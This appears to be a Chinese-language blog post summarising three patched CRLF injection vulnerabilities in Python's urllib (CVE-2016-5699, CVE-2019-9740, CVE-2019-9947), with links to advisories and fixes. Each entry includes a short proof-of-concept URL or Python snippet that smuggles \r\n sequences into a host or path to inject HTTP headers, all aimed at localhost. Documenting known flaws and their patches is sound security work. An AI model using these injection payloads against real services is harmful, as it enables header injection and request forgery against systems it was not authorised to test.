Python urllib CRLF注入漏洞小结

最新推荐文章于 2024-06-01 10:35:00 发布

_HWHXY

最新推荐文章于 2024-06-01 10:35:00 发布

阅读量623

点赞数

分类专栏： WEB_安全文章标签： python 开发语言

本文链接：https://blog.csdn.net/xiru9972/article/details/128343676

版权

WEB_安全专栏收录该内容

3 篇文章 0 订阅

订阅专栏

Python urllib CRLF注入漏洞小结

CVE-2016-5699

https://www.suse.com/security/cve/CVE-2016-5699.html

before 2.7.10 and 3.x before 3.4.4
POC：

http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

漏洞&patch源码：https://bugs.python.org/file37264/disable_http_header_injection.patch

在这里插入图片描述
修复前通过\r\n进行拼接，而我们恶意代码通过host带入

CVE-2019-9740

https://nvd.nist.gov/vuln/detail/CVE-2019-9740
https://xz.aliyun.com/t/5123

urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
poc

import sys
import urllib
import urllib.request
import urllib.error


host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
url = "http://"+ host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

修复源码：https://github.com/python/cpython/pull/12755/commits/97bcc4bd5cf5c6dc1352d9b5e680db165c937fd1

CVE-2019-9947

https://bugs.python.org/issue35906

urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
POC

import urllib.request

urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
or 
urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')